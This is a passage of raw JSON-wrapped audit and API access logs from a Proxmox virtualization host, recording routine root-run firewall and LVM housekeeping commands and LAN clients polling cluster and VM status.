a1=5763b3c0ef00 a2=5763b3bdc680 a3=5 items=2 ppid=59087 pid=59093 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965655233,"@rawstring":"node=pve type=EXECVE msg=audit(1781965655.233:66529): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966197812,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:36:37 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 510"} {"@timestamp":1781965335236,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965335.236:65179): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=62611 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964565752,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964565.752:61558): arch=c000003e syscall=59 success=yes exit=0 a0=57638df97ac8 a1=7fff9d5ac860 a2=5763b3bdc680 a3=57638df7b24e items=2 ppid=59087 pid=59089 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965655223,"@rawstring":"node=pve type=EXECVE msg=audit(1781965655.223:66528): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966197812,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:36:36 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 934"} {"@timestamp":1781965335228,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965335.228:65178): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62610 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964565751,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964565.751:61557): arch=c000003e syscall=59 success=yes exit=0 a0=7fff9d5ac820 a1=5763b3bfe3d0 a2=5763b3bdc680 a3=5 items=2 ppid=59087 pid=59088 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965655212,"@rawstring":"node=pve type=EXECVE msg=audit(1781965655.212:66527): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966195802,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:36:34 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1128"} {"@timestamp":1781965335220,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965335.220:65177): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62609 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964565747,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964565.747:61555): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=59087 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965655206,"@rawstring":"node=pve type=EXECVE msg=audit(1781965655.206:66526): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781966195802,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:36:34 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 922"} {"@timestamp":1781965335210,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965335.210:65176): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62608 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964565741,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964565.741:61554): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59086 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965655194,"@rawstring":"node=pve type=EXECVE msg=audit(1781965655.194:66525): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966194805,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:36:34 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 511"} {"@timestamp":1781965335203,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965335.203:65175): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62607 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964565735,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964565.735:61553): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59085 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965655180,"@rawstring":"node=pve type=EXECVE msg=audit(1781965655.180:66524): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966194805,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:36:34 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965335200,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965335.200:65174): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=603dde209740 items=0 ppid=1156 pid=62606 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781964565730,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964565.730:61552): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e42e0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59084 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965654243,"@rawstring":"node=pve type=EXECVE msg=audit(1781965654.243:66523): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781966194805,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:36:34 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 511"} {"@timestamp":1781965335197,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965335.197:65173): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc14a370 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62606 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781964565724,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964565.724:61551): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0f4a90 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59083 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965654220,"@rawstring":"node=pve type=EXECVE msg=audit(1781965654.220:66522): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781966194805,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:36:33 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1141"} {"@timestamp":1781965335191,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965335.191:65172): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc14a200 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62605 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964565717,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964565.717:61550): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb60f2370 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59082 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965653842,"@rawstring":"node=pve type=EXECVE msg=audit(1781965653.842:66521): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966193798,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:36:32 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 907"} {"@timestamp":1781965335185,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965335.185:65171): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0f47b0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62604 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964564861,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964564.861:61549): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59081 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965653828,"@rawstring":"node=pve type=EXECVE msg=audit(1781965653.828:66518): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966192794,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:36:31 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1141"} {"@timestamp":1781965335179,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965335.179:65170): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e66f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62603 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964564854,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964564.854:61546): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59080 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965648817,"@rawstring":"node=pve type=EXECVE msg=audit(1781965648.817:66515): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966191854,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:36:31 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 507"} {"@timestamp":1781965335171,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965335.171:65169): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0f47b0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62602 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964564521,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964564.521:61543): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73b8380 a1=64f8d740d730 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=59079 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965648810,"@rawstring":"node=pve type=EXECVE msg=audit(1781965648.810:66512): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966191854,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:36:30 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 938"} {"@timestamp":1781965335165,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965335.165:65168): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0c7460 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62601 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964564495,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964564.495:61542): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73b6380 a1=64f8d5ce56c0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=59078 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965646170,"@rawstring":"node=pve type=EXECVE msg=audit(1781965646.170:66508): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966191854,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:36:30 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 510"} {"@timestamp":1781965335157,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965335.157:65167): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62600 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964559842,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964559.842:61541): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59075 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965646166,"@rawstring":"node=pve type=EXECVE msg=audit(1781965646.166:66507): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966191854,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:36:30 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965335151,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965335.151:65166): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62599 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964559833,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964559.833:61538): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59074 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965646165,"@rawstring":"node=pve type=EXECVE msg=audit(1781965646.165:66506): argc=1 a0=\"date\""} {"@timestamp":1781966190787,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:36:29 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1141"} {"@timestamp":1781965335147,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965335.147:65165): arch=c000003e syscall=59 success=yes exit=0 a0=55961498bed0 a1=559614988c50 a2=55961496a680 a3=5 items=2 ppid=62592 pid=62598 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964555705,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964555.705:61535): arch=c000003e syscall=59 success=yes exit=0 a0=63d57db5be90 a1=63d57db58c10 a2=63d57db3a680 a3=5 items=2 ppid=59067 pid=59073 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965646159,"@rawstring":"node=pve type=EXECVE msg=audit(1781965646.159:66504): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966189459,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:36:28 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 937"} {"@timestamp":1781965335142,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965335.142:65164): arch=c000003e syscall=59 success=yes exit=0 a0=55960cf6bac8 a1=7ffc0b836250 a2=55961496a680 a3=55960cf4f24e items=2 ppid=62592 pid=62594 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964555701,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964555.701:61534): arch=c000003e syscall=59 success=yes exit=0 a0=63d54933cac8 a1=7ffdb2a6fb20 a2=63d57db3a680 a3=63d54932024e items=2 ppid=59067 pid=59069 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965646151,"@rawstring":"node=pve type=EXECVE msg=audit(1781965646.151:66503): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966189459,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:36:28 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1141"} {"@timestamp":1781965335139,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965335.139:65163): arch=c000003e syscall=59 success=yes exit=0 a0=7ffc0b836210 a1=559614987b40 a2=55961496a680 a3=5 items=2 ppid=62592 pid=62593 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964555700,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964555.700:61533): arch=c000003e syscall=59 success=yes exit=0 a0=7ffdb2a6fae0 a1=63d57db41310 a2=63d57db3a680 a3=5 items=2 ppid=59067 pid=59068 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965646141,"@rawstring":"node=pve type=EXECVE msg=audit(1781965646.141:66502): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966189459,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:36:28 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 506"} {"@timestamp":1781965335133,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965335.133:65161): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=62592 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964555696,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964555.696:61531): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=59067 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965646134,"@rawstring":"node=pve type=EXECVE msg=audit(1781965646.134:66501): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966187753,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:36:26 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 931"} {"@timestamp":1781965335127,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965335.127:65160): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62591 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964555690,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964555.690:61530): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59066 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965646125,"@rawstring":"node=pve type=EXECVE msg=audit(1781965646.125:66500): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966187753,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:36:26 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 512"} {"@timestamp":1781965335118,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965335.118:65159): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62590 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964555683,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964555.683:61529): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59065 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965646117,"@rawstring":"node=pve type=EXECVE msg=audit(1781965646.117:66498): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781966187753,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:36:26 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965335114,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965335.114:65158): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8b4f950 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62589 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964555677,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964555.677:61528): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59064 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965646109,"@rawstring":"node=pve type=EXECVE msg=audit(1781965646.109:66497): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966186741,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:36:25 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1113"} {"@timestamp":1781965335106,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965335.106:65157): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13a250 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62588 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781964555670,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964555.670:61527): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 